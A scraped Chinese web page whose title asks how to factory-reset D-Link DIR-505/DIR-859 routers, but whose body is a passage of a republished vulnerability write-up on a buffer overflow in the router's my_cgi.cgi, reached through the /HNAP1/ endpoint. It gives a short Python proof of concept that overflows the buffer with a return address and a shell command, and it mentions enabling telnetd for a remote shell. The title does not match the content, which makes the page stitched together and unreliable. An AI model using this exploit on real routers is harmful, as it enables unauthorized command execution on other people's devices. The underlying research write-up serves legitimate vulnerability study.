dir505怎么恢复出厂设置,dir859怎么恢复出厂设置

首页 > 实用技巧 > 作者:YD1662023-11-18 01:08:38

继续单步调试到执行 gadget,调用 system 函数,执行的命令保存在 sp 0x28 处。

dir505怎么恢复出厂设置,dir859怎么恢复出厂设置(5)

可以看到成功命令执行,创建了 test 文件

dir505怎么恢复出厂设置,dir859怎么恢复出厂设置(6)

漏洞利用

如上的漏洞复现调试是针对与 my_cgi.cgi,而真实运行环境是通过 lighttpd 服务器接受用户发送请求数据包,然后将数据通过环境变量以及 STDIN 传递给 my_cgi.cgi 进行处理,漏洞发生也是在这个地方,那么漏洞利用需要构造数据包向 lighttpd 传递。初次之外,还需要看固件支持哪些命令,例如此处的 busybox 支持的命令如下:

BusyBox v1.01 (2013.05.23-09:13 0000) multi-call binary Usage: busybox [function] [arguments]... or: [function] [arguments]... BusyBox is a multi-call binary that combines many common Unix utilities into a single executable. Most people will create a link to busybox for each function they wish to use and BusyBox will act like whatever it was invoked as! Currently defined functions: [, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd, df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep, head, hostname, ifconfig, init, insmod, kill, killall, klogd, linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir, mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed, sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty, umount, uname, vconfig, vi, wc, wget, xargs, zcip

那么简洁版的 exp 如下,执行结果是直接写回了到返回数据包中。

import requests cmd = b'ls -l\x00' poc = 30020 * b'A' b'\x00\x40\x5c\x5c' 40 * b'B' cmd res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc) print(res)

dir505怎么恢复出厂设置,dir859怎么恢复出厂设置(7)

通过 busybox 支持的命令也可以看到,有 telnetd,如果在实体机上要获取到一个可交互的 shell,那么可以开启设备的 telnet 服务。

个人小结

如下是个人觉得可以加深对于程序执行流程理解的一些点:

参考链接

本文由OneShell原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/261344
安全客 - 有思想的安全新媒体

上一页12末页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.